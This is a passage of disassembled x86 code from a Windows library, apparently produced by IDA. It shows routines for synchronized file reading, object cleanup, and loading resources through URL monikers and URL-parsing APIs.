		cmp	[ebp+NumberOfBytesRead], 0
		jnz	short loc_69B3A058
		xor	esi, esi
		inc	esi
		jmp	loc_69B3A0E2
; ---------------------------------------------------------------------------


loc_69B3A058:				; CODE XREF: sub_69B3A038+16j
		cmp	byte ptr [esi+34h], 0
		jz	short loc_69B3A0AA
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		push	[ebp+NumberOfBytesRead]	; nNumberOfBytesToRead
		push	[ebp+lpBuffer]	; lpBuffer
		push	dword ptr [esi+38h] ; hFile
		call	ds:ReadFile	; ReadFile
		test	eax, eax
		jnz	short loc_69B3A095
		mov	esi, ds:GetLastError
		call	esi ; GetLastError
		test	eax, eax
		jg	short loc_69B3A087
		call	esi ; GetLastError
		jmp	short loc_69B3A0E0
; ---------------------------------------------------------------------------


loc_69B3A087:				; CODE XREF: sub_69B3A038+49j
		call	esi ; GetLastError
		and	eax, 0FFFFh
		or	eax, 80070000h
		jmp	short loc_69B3A0E0
; ---------------------------------------------------------------------------


loc_69B3A095:				; CODE XREF: sub_69B3A038+3Dj
		mov	eax, [ebp+arg_C]
		test	eax, eax
		mov	ecx, [ebp+NumberOfBytesRead]
		jz	short loc_69B3A0A1
		mov	[eax], ecx


loc_69B3A0A1:				; CODE XREF: sub_69B3A038+65j
		xor	eax, eax
		test	ecx, ecx
		setz	al
		jmp	short loc_69B3A0E0
; ---------------------------------------------------------------------------


loc_69B3A0AA:				; CODE XREF: sub_69B3A038+24j
		mov	eax, [esi+2Ch]
		test	eax, eax
		jnz	short loc_69B3A0B6
		mov	esi, [esi+3Ch]
		jmp	short loc_69B3A0E2
; ---------------------------------------------------------------------------


loc_69B3A0B6:				; CODE XREF: sub_69B3A038+77j
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_69B3A0CE
		cmp	ecx, 8000000Ah
		jz	short loc_69B3A0CE
		cmp	ecx, 1
		jz	short loc_69B3A0CE
		mov	esi, ecx
		jmp	short loc_69B3A0E2
; ---------------------------------------------------------------------------


loc_69B3A0CE:				; CODE XREF: sub_69B3A038+83j
					; sub_69B3A038+8Bj ...
		push	[ebp+arg_C]
		mov	ecx, [eax]
		push	[ebp+NumberOfBytesRead]
		push	[ebp+lpBuffer]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	[esi+3Ch], eax


loc_69B3A0E0:				; CODE XREF: sub_69B3A038+4Dj
					; sub_69B3A038+5Bj ...
		mov	esi, eax


loc_69B3A0E2:				; CODE XREF: sub_69B3A038+1Bj
					; sub_69B3A038+7Cj ...
		push	edi		; lpCriticalSection
		call	ds:LeaveCriticalSection
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	10h
sub_69B3A038	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3A0F1	proc near		; CODE XREF: sub_69B3AB4E+62p
					; sub_69B3AB4E+8Cp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		lea	edi, [esi+10h]
		push	edi		; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	eax, [esp+8+arg_0]
		push	edi		; lpCriticalSection
		mov	[esi+3Ch], eax
		call	ds:LeaveCriticalSection
		pop	edi
		pop	esi
		retn	4
sub_69B3A0F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3A112	proc near		; CODE XREF: sub_69B3AB4E+51p
					; sub_69B3B01F+E2p ...
		push	esi
		push	edi
		mov	esi, ecx
		lea	edi, [esi+10h]
		push	edi		; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	esi, [esi+3Ch]
		push	edi		; lpCriticalSection
		call	ds:LeaveCriticalSection
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_69B3A112	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3A12F	proc near		; CODE XREF: sub_69B384B3+4Fp
					; sub_69B3A189+1Ej ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+30h]
		mov	ecx, [edi]
		xor	ebx, ebx
		cmp	ecx, ebx
		mov	[esi+40h], ebx
		jz	short loc_69B3A14E
		call	sub_69B3AF8C
		push	ebx
		push	edi
		call	sub_69B17320


loc_69B3A14E:				; CODE XREF: sub_69B3A12F+11j
		push	ebx
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17320
		mov	eax, [esi+38h]
		cmp	eax, 0FFFFFFFFh
		mov	[esi+3Ch], ebx
		jz	short loc_69B3A185
		cmp	[esi+35h], bl
		jz	short loc_69B3A178
		push	eax		; hFile
		call	ds:SetEndOfFile	; SetEndOfFile
		push	dword ptr [esi+38h] ; hFile
		call	ds:FlushFileBuffers	; FlushFileBuffers


loc_69B3A178:				; CODE XREF: sub_69B3A12F+37j
		push	dword ptr [esi+38h] ; hObject
		call	ds:CloseHandle	; CloseHandle
		or	dword ptr [esi+38h], 0FFFFFFFFh


loc_69B3A185:				; CODE XREF: sub_69B3A12F+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B3A12F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3A189	proc near		; CODE XREF: sub_69B378CA+74p
		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [edi+30h]
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_69B3A19B
		call	sub_69B3AFB0


loc_69B3A19B:				; CODE XREF: sub_69B3A189+Bj
		push	0
		push	esi
		call	sub_69B17320
		mov	ecx, edi
		pop	edi
		pop	esi
		jmp	short sub_69B3A12F
sub_69B3A189	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B3A1A9(LPMONIKER ppmk, int, int)

sub_69B3A1A9	proc near		; CODE XREF: sub_69B3A3DD+74p
					; sub_69B3A45B+5Ap

ppBSCBPrev	= dword	ptr -0Ch
pBC		= dword	ptr -8
var_4		= dword	ptr -4
ppmk		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_8], 3
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		jz	loc_69B3A30F
		cmp	[ebp+arg_8], 2
		jz	loc_69B3A30F
		xor	ebx, ebx
		cmp	[ebp+ppmk], ebx
		push	38h
		mov	[ebp+ppBSCBPrev], ebx
		mov	[ebp+var_4], ebx
		setz	byte ptr [ebp+arg_8+3]
		call	sub_69B11E44
		cmp	eax, ebx
		jz	short loc_69B3A1EE
		push	esi
		mov	ecx, eax
		call	sub_69B3B210
		mov	edi, eax
		jmp	short loc_69B3A1F0
; ---------------------------------------------------------------------------


loc_69B3A1EE:				; CODE XREF: sub_69B3A1A9+37j
		xor	edi, edi


loc_69B3A1F0:				; CODE XREF: sub_69B3A1A9+43j
		cmp	edi, ebx
		jnz	short loc_69B3A1FE
		mov	eax, 8007000Eh
		jmp	loc_69B3A314
; ---------------------------------------------------------------------------


loc_69B3A1FE:				; CODE XREF: sub_69B3A1A9+49j
		lea	eax, [esi+30h]
		push	edi
		push	eax
		call	sub_69B17320
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]
		mov	eax, [ebp+arg_4]
		cmp	eax, ebx
		mov	[ebp+pBC], eax
		jnz	short loc_69B3A231
		lea	eax, [ebp+pBC]
		push	eax		; ppbc
		push	ebx		; reserved
		call	ds:CreateBindCtx
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_69B3A2B3
		xor	ebx, ebx
		jmp	short loc_69B3A237
; ---------------------------------------------------------------------------


loc_69B3A231:				; CODE XREF: sub_69B3A1A9+6Dj
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_69B3A237:				; CODE XREF: sub_69B3A1A9+86j
		push	ebx		; dwReserved
		lea	eax, [ebp+ppBSCBPrev]
		push	eax		; ppBSCBPrev
		push	edi		; pBSCb
		push	[ebp+pBC]	; pBC
		call	RegisterBindStatusCallback
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B3A2B3
		push	[ebp+ppBSCBPrev]
		add	edi, 1Ch
		push	edi
		call	sub_69B17320
		mov	eax, [ebp+ppBSCBPrev]
		test	eax, eax
		jz	short loc_69B3A264
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B3A264:				; CODE XREF: sub_69B3A1A9+B3j
		cmp	byte ptr [ebp+arg_8+3],	0
		jz	short loc_69B3A286
		mov	eax, [esi+28h]
		mov	ecx, [eax+8]
		mov	eax, [eax+10h]
		lea	edx, [ebp+ppmk]
		push	edx		; ppmk
		push	ecx		; szURL
		push	eax		; pMkCtx
		call	CreateURLMoniker
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B3A2B3
		jmp	short loc_69B3A28F
; ---------------------------------------------------------------------------


loc_69B3A286:				; CODE XREF: sub_69B3A1A9+BFj
		mov	eax, [ebp+ppmk]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_69B3A28F:				; CODE XREF: sub_69B3A1A9+DBj
		mov	eax, [ebp+ppmk]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2AFF0
		push	0
		push	[ebp+pBC]
		mov	dword ptr [esi+3Ch], 8000000Ah
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+24h]
		mov	ebx, eax
		test	ebx, ebx
		jge	short loc_69B3A2D1


loc_69B3A2B3:				; CODE XREF: sub_69B3A1A9+7Ej
					; sub_69B3A1A9+A0j ...
		push	0
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17320
		mov	esi, [esi+3Ch]
		cmp	esi, 8000000Ah
		jz	short loc_69B3A2F1
		test	esi, esi
		jge	short loc_69B3A2F1
		mov	ebx, esi
		jmp	short loc_69B3A2F1
; ---------------------------------------------------------------------------


loc_69B3A2D1:				; CODE XREF: sub_69B3A1A9+108j
		xor	ebx, ebx
		cmp	[ebp+var_4], ebx
		jz	short loc_69B3A2F1
		add	esi, 2Ch
		cmp	[esi], ebx
		jnz	short loc_69B3A2E8
		push	[ebp+var_4]
		push	esi
		call	sub_69B17320


loc_69B3A2E8:				; CODE XREF: sub_69B3A1A9+134j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B3A2F1:				; CODE XREF: sub_69B3A1A9+11Ej
					; sub_69B3A1A9+122j ...
		mov	eax, [ebp+pBC]
		test	eax, eax
		jz	short loc_69B3A2FE
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B3A2FE:				; CODE XREF: sub_69B3A1A9+14Dj
		mov	eax, [ebp+ppmk]
		test	eax, eax
		jz	short loc_69B3A30B
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B3A30B:				; CODE XREF: sub_69B3A1A9+15Aj
		mov	eax, ebx
		jmp	short loc_69B3A314
; ---------------------------------------------------------------------------


loc_69B3A30F:				; CODE XREF: sub_69B3A1A9+Fj
					; sub_69B3A1A9+19j
		mov	eax, 80070057h


loc_69B3A314:				; CODE XREF: sub_69B3A1A9+50j
					; sub_69B3A1A9+164j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B3A1A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3A31B	proc near		; CODE XREF: sub_69B3AB4E+3Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		lea	edi, [esi+10h]
		push	edi		; lpCriticalSection
		call	ds:EnterCriticalSection
		push	[esp+8+arg_0]
		add	esi, 2Ch
		push	esi
		call	sub_69B17320
		push	edi		; lpCriticalSection
		call	ds:LeaveCriticalSection
		pop	edi
		pop	esi
		retn	4
sub_69B3A31B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3A342	proc near		; CODE XREF: sub_69B3937E+52p
					; sub_69B39507+79p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		mov	esi, ecx
		call	sub_69B3677A
		mov	ecx, [esp+4+arg_0]
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B12318
		mov	dword ptr [esi+4], offset off_69B27788
		mov	[esi+2Ch], eax
		mov	[esi+30h], eax
		or	dword ptr [esi+38h], 0FFFFFFFFh
		mov	[esi+28h], eax
		mov	[esi+3Ch], eax
		mov	[esi+44h], eax
		mov	al, [esp+4+arg_4]
		mov	[esi+48h], al
		lea	eax, [esi+10h]
		push	eax		; lpCriticalSection
		mov	[esi+40h], ecx
		call	ds:InitializeCriticalSection	; InitializeCriticalSection
		mov	eax, esi
		pop	esi
		retn	8
sub_69B3A342	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3A38A	proc near		; CODE XREF: .text:69B3A55Fp
		push	esi
		mov	esi, ecx
		lea	ecx, [esi-4]
		push	edi
		mov	dword ptr [ecx], offset	off_69B12318
		mov	dword ptr [esi], offset	off_69B27788
		call	sub_69B3A12F
		mov	edi, [esi+24h]
		test	edi, edi
		jz	short loc_69B3A3B6
		mov	ecx, edi
		call	sub_69B3A8F3
		push	edi
		call	sub_69B1B2B7


loc_69B3A3B6:				; CODE XREF: sub_69B3A38A+1Dj
		and	dword ptr [esi+24h], 0
		lea	eax, [esi+0Ch]
		push	eax		; lpCriticalSection
		call	ds:DeleteCriticalSection
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17230
		add	esi, 28h
		push	esi
		call	sub_69B17230
		pop	edi
		pop	esi
		jmp	sub_69B2C65C
sub_69B3A38A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3A3DD	proc near		; CODE XREF: sub_69B3937E+147p
					; sub_69B3A4BF+5Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+40h]
		call	sub_69B3A12F
		push	14h
		mov	[esi+40h], edi
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B3A404
		push	[esp+8+arg_0]
		mov	ecx, eax
		call	sub_69B3A6BD
		jmp	short loc_69B3A406
; ---------------------------------------------------------------------------


loc_69B3A404:				; CODE XREF: sub_69B3A3DD+18j
		xor	eax, eax


loc_69B3A406:				; CODE XREF: sub_69B3A3DD+25j
		test	eax, eax
		mov	[esi+28h], eax
		jnz	short loc_69B3A414
		mov	eax, 8007000Eh
		jmp	short loc_69B3A456
; ---------------------------------------------------------------------------


loc_69B3A414:				; CODE XREF: sub_69B3A3DD+2Ej
		push	0		; lpszUrl
		mov	ecx, esi
		call	sub_69B39E07
		test	eax, eax
		jl	short loc_69B3A456
		mov	edi, [esp+8+arg_4]
		mov	ecx, [esi+28h]
		mov	[esi+44h], edi
		call	sub_69B3A57B
		test	al, al
		jz	short loc_69B3A446
		test	edi, edi
		jz	short loc_69B3A446
		push	edi
		mov	ecx, esi
		mov	byte ptr [esi+34h], 1
		call	sub_69B39E9F
		jmp	short loc_69B3A456
; ---------------------------------------------------------------------------


loc_69B3A446:				; CODE XREF: sub_69B3A3DD+55j
					; sub_69B3A3DD+59j
		push	edi		; int
		push	0		; int
		push	0		; ppmk
		mov	ecx, esi
		mov	byte ptr [esi+34h], 0
		call	sub_69B3A1A9


loc_69B3A456:				; CODE XREF: sub_69B3A3DD+35j
					; sub_69B3A3DD+42j ...
		pop	edi
		pop	esi
		retn	8
sub_69B3A3DD	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B3A45B(LPMONIKER ppmk, int, int, int)

sub_69B3A45B	proc near		; CODE XREF: sub_69B39507+121p

ppmk		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+40h]
		call	sub_69B3A12F
		push	14h
		mov	[esi+40h], edi
		mov	byte ptr [esi+34h], 0
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B3A486
		push	[esp+8+arg_8]
		mov	ecx, eax
		call	sub_69B3A6BD
		jmp	short loc_69B3A488
; ---------------------------------------------------------------------------


loc_69B3A486:				; CODE XREF: sub_69B3A45B+1Cj
		xor	eax, eax


loc_69B3A488:				; CODE XREF: sub_69B3A45B+29j
		test	eax, eax
		mov	[esi+28h], eax
		jnz	short loc_69B3A496
		mov	eax, 8007000Eh
		jmp	short loc_69B3A4BA
; ---------------------------------------------------------------------------


loc_69B3A496:				; CODE XREF: sub_69B3A45B+32j
		push	0		; lpszUrl
		mov	ecx, esi
		call	sub_69B39E07
		test	eax, eax
		jl	short loc_69B3A4BA
		mov	eax, [esp+8+arg_C]
		push	eax		; int
		push	[esp+0Ch+arg_4]	; int
		mov	ecx, esi
		push	[esp+10h+ppmk]	; ppmk
		mov	[esi+44h], eax
		call	sub_69B3A1A9


loc_69B3A4BA:				; CODE XREF: sub_69B3A45B+39j
					; sub_69B3A45B+46j
		pop	edi
		pop	esi
		retn	10h
sub_69B3A45B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B3A4BF(LPCWSTR lpString, int, int, int)

sub_69B3A4BF	proc near		; CODE XREF: sub_69B3E662+5Dp

var_14		= byte ptr -14h
lpString	= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	4Ch
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B3A4E0
		push	0
		push	0
		mov	ecx, eax
		call	sub_69B3A342
		mov	esi, eax
		jmp	short loc_69B3A4E2
; ---------------------------------------------------------------------------


loc_69B3A4E0:				; CODE XREF: sub_69B3A4BF+10j
		xor	esi, esi


loc_69B3A4E2:				; CODE XREF: sub_69B3A4BF+1Fj
		test	esi, esi
		jnz	short loc_69B3A4ED
		mov	eax, 8007000Eh
		jmp	short loc_69B3A557
; ---------------------------------------------------------------------------


loc_69B3A4ED:				; CODE XREF: sub_69B3A4BF+25j
		push	edi
		lea	ecx, [ebp+var_14]
		call	sub_69B3A66D
		push	[ebp+arg_4]	; int
		lea	ecx, [ebp+var_14]
		push	[ebp+lpString]	; lpString
		call	sub_69B3A709
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B3A539
		mov	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		and	eax, 2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, esi
		call	sub_69B3A3DD
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B3A539
		push	[ebp+arg_C]
		mov	eax, [esi]
		push	offset dword_69B2AFF0
		push	esi
		call	dword ptr [eax]
		mov	edi, eax
		test	edi, edi
		jge	short loc_69B3A544


loc_69B3A539:				; CODE XREF: sub_69B3A4BF+49j
					; sub_69B3A4BF+65j
		lea	ecx, [esi+4]
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax]
		jmp	short loc_69B3A54C
; ---------------------------------------------------------------------------


loc_69B3A544:				; CODE XREF: sub_69B3A4BF+78j
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		xor	edi, edi


loc_69B3A54C:				; CODE XREF: sub_69B3A4BF+83j
		lea	ecx, [ebp+var_14]
		call	sub_69B3A8F3
		mov	eax, edi
		pop	edi


loc_69B3A557:				; CODE XREF: sub_69B3A4BF+2Cj
		pop	esi
		leave
		retn	10h
sub_69B3A4BF	endp

; ---------------------------------------------------------------------------


loc_69B3A55C:				; DATA XREF: .text:off_69B27788o
		push	esi
		mov	esi, ecx
		call	sub_69B3A38A
		test	byte ptr [esp+8], 1
		jz	short loc_69B3A574
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B3A574:				; CODE XREF: .text:69B3A569j
		lea	eax, [esi-4]
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B3A57B	proc near		; CODE XREF: sub_69B3A3DD+4Ep
		push	3
		push	dword ptr [ecx+8]
		call	ds:UrlIsW	; UrlIsW
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_69B3A57B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B3A58D(LPCWSTR lpszUrl)

sub_69B3A58D	proc near		; CODE XREF: sub_69B39C17+137p
					; sub_69B39C17+141p

UrlComponents	= $2B4FDC4BF487E67F052937EE78FAE255 ptr	-3Ch
lpszUrl		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	edi
		push	0Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+UrlComponents]
		rep stosd
		inc	eax
		mov	[ebp+UrlComponents.dwSchemeLength], eax
		mov	[ebp+UrlComponents.dwHostNameLength], eax
		mov	[ebp+UrlComponents.dwUrlPathLength], eax
		lea	eax, [ebp+UrlComponents]
		push	eax		; lpUrlComponents
		push	0		; dwFlags
		push	0		; dwUrlLength
		push	[ebp+lpszUrl]	; lpszUrl
		mov	[ebp+UrlComponents.dwStructSize], 3Ch
		call	InternetCrackUrlW	; InternetCrackUrlW
		test	eax, eax
		pop	edi
		jz	short loc_69B3A5CA
		mov	eax, [ebp+UrlComponents.nScheme]
		jmp	short locret_69B3A5CD
; ---------------------------------------------------------------------------


loc_69B3A5CA:				; CODE XREF: sub_69B3A58D+36j
		or	eax, 0FFFFFFFFh

locret_69B3A5CD:			; CODE XREF: sub_69B3A58D+3Bj
		leave
		retn	4
sub_69B3A58D	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B3A5D1(LPCWSTR lpString)

sub_69B3A5D1	proc near		; CODE XREF: sub_69B3A627+34p
					; sub_69B3A709+16Dp

lpString	= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+lpString]
		push	edi		; lpString
		call	sub_69B8AADD
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B3A5ED
		push	edi
		call	sub_69B1B2B7
		mov	eax, esi
		jmp	short loc_69B3A5EF
; ---------------------------------------------------------------------------


loc_69B3A5ED:				; CODE XREF: sub_69B3A5D1+10j
		mov	eax, edi


loc_69B3A5EF:				; CODE XREF: sub_69B3A5D1+1Aj
		pop	edi
		pop	esi
		retn	4
sub_69B3A5D1	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B3A5F4(LPCWSTR lpString)

sub_69B3A5F4	proc near		; CODE XREF: sub_69B3937E+115p
					; sub_69B39507+DDp

lpString	= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	dword ptr [esi+0Ch]
		call	sub_69B1B2B7
		and	dword ptr [esi+0Ch], 0
		cmp	[esp+4+lpString], 0
		jz	short loc_69B3A621
		push	[esp+4+lpString] ; lpString
		call	sub_69B8AADD
		test	eax, eax
		mov	[esi+0Ch], eax
		jnz	short loc_69B3A621
		mov	eax, 8007000Eh
		jmp	short loc_69B3A623
; ---------------------------------------------------------------------------


loc_69B3A621:				; CODE XREF: sub_69B3A5F4+14j
					; sub_69B3A5F4+24j
		xor	eax, eax


loc_69B3A623:				; CODE XREF: sub_69B3A5F4+2Bj
		pop	esi
		retn	4
sub_69B3A5F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3A627	proc near		; CODE XREF: sub_69B39E9F+15p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		push	2000h
		mov	esi, ecx
		mov	[ebp+var_4], 1000h
		call	sub_69B11E44
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B3A667
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	dword ptr [esi+8]
		call	ds:PathCreateFromUrlW	; PathCreateFromUrlW
		test	eax, eax
		push	edi		; lpString
		jl	short loc_69B3A662
		call	sub_69B3A5D1
		jmp	short loc_69B3A669
; ---------------------------------------------------------------------------


loc_69B3A662:				; CODE XREF: sub_69B3A627+32j
		call	sub_69B1B2B7


loc_69B3A667:				; CODE XREF: sub_69B3A627+1Dj
		xor	eax, eax


loc_69B3A669:				; CODE XREF: sub_69B3A627+39j
		pop	edi
		pop	esi
		leave
		retn
sub_69B3A627	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3A66D	proc near		; CODE XREF: sub_69B3937E+Ep
					; sub_69B39507+47p ...
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		lea	eax, [esi+10h]
		mov	[eax], ecx
		push	ecx
		push	eax
		mov	[esi+8], ecx
		mov	[esi+4], ecx
		mov	[esi], ecx
		mov	[esi+0Ch], ecx
		call	sub_69B17320
		mov	eax, esi
		pop	esi
		retn
sub_69B3A66D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3A68D	proc near		; CODE XREF: sub_69B3A709+15p
					; sub_69B3A8F3+3p ...
		push	esi
		mov	esi, ecx
		push	dword ptr [esi]
		call	sub_69B1B2B7
		push	dword ptr [esi+4]
		call	sub_69B1B2B7
		push	dword ptr [esi+8]
		call	sub_69B1B2B7
		xor	eax, eax
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		push	eax
		add	esi, 10h
		push	esi
		call	sub_69B17320
		pop	esi
		retn
sub_69B3A68D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3A6BD	proc near		; CODE XREF: sub_69B3A3DD+20p
					; sub_69B3A45B+24p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		lea	ebx, [esi+10h]
		and	dword ptr [ebx], 0
		push	dword ptr [edi]	; lpString
		call	sub_69B8AADD
		mov	[esi], eax
		push	dword ptr [edi+4] ; lpString
		call	sub_69B8AADD
		mov	[esi+4], eax
		push	dword ptr [edi+8] ; lpString
		call	sub_69B8AADD
		mov	[esi+8], eax
		push	dword ptr [edi+0Ch] ; lpString
		call	sub_69B8AADD
		add	edi, 10h
		push	edi
		mov	ecx, ebx
		mov	[esi+0Ch], eax
		call	sub_69B4D414
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_69B3A6BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B3A709(LPCWSTR lpString, int)

sub_69B3A709	proc near		; CODE XREF: sub_69B37FBC+B1p
					; sub_69B37FBC+C7p ...

var_10		= dword	ptr -10h
pv		= dword	ptr -0Ch
ppmk		= dword	ptr -8
var_4		= dword	ptr -4
lpString	= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, ecx
		mov	[ebp+var_4], edi
		mov	[ebp+ppmk], edi
		mov	[ebp+pv], edi
		call	sub_69B3A68D
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	[ebp+lpString]	; lpString
		call	sub_69B8AB20
		cmp	[ebp+var_4], edi
		mov	[esi], eax
		jl	loc_69B3A88E
		mov	eax, [ebp+arg_4]
		cmp	eax, edi
		jz	loc_69B3A7E6
		cmp	[eax], di
		jz	loc_69B3A7E6
		lea	ecx, [ebp+var_4]
		push	ecx		; int
		push	eax		; lpString
		call	sub_69B8AB20
		cmp	[ebp+var_4], edi
		mov	[esi+4], eax
		jl	loc_69B3A88E
		lea	ecx, [ebp+ppmk]
		push	ecx		; ppmk
		push	eax		; szURL
		push	edi		; pMkCtx
		call	CreateURLMoniker
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jl	loc_69B3A88E
		push	[ebp+ppmk]
		lea	edi, [esi+10h]
		push	edi
		call	sub_69B17320
		mov	eax, [ebp+ppmk]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		mov	edi, [edi]
		lea	eax, [ebp+ppmk]
		push	eax		; ppmk
		push	[ebp+lpString]	; szURL
		push	edi		; pMkCtx
		call	CreateURLMoniker
		test	eax, eax
		mov	[ebp+var_4], eax
		jl	loc_69B3A88E
		mov	eax, [ebp+ppmk]
		mov	ecx, [eax]
		lea	edx, [ebp+pv]
		push	edx
		push	eax
		push	0
		push	eax
		call	dword ptr [ecx+50h]
		test	eax, eax
		mov	[ebp+var_4], eax
		jl	short loc_69B3A7D8
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	[ebp+pv]	; lpString
		call	sub_69B8AB20
		push	[ebp+pv]	; pv
		mov	[esi+8], eax
		call	ds:CoTaskMemFree


loc_69B3A7D8:				; CODE XREF: sub_69B3A709+B5j
		mov	eax, [ebp+ppmk]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_69B3A88E
; ---------------------------------------------------------------------------


loc_69B3A7E6:				; CODE XREF: sub_69B3A709+36j
					; sub_69B3A709+3Fj
		push	[ebp+lpString]	; pszPath
		call	ds:PathIsURLW	; PathIsURLW
		test	eax, eax
		jz	short loc_69B3A807
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	[ebp+lpString]	; lpString
		call	sub_69B8AB20
		mov	[esi+8], eax
		jmp	loc_69B3A88E
; ---------------------------------------------------------------------------


loc_69B3A807:				; CODE XREF: sub_69B3A709+E8j
		push	ebx
		mov	ebx, 2000h
		push	ebx
		call	sub_69B11E44
		cmp	eax, edi
		mov	[esi+8], eax
		jnz	short loc_69B3A823


loc_69B3A81A:				; CODE XREF: sub_69B3A709+13Fj
		mov	[ebp+var_4], 8007000Eh
		jmp	short loc_69B3A88D
; ---------------------------------------------------------------------------


loc_69B3A823:				; CODE XREF: sub_69B3A709+10Fj
		push	0
		lea	ecx, [ebp+var_10]
		push	ecx
		push	eax
		push	[ebp+lpString]
		mov	edi, 1000h
		mov	[ebp+var_10], edi
		call	ds:UrlUnescapeW	; UrlUnescapeW
		push	ebx
		mov	[ebp+var_4], eax
		call	sub_69B11E44
		mov	ebx, eax
		test	ebx, ebx
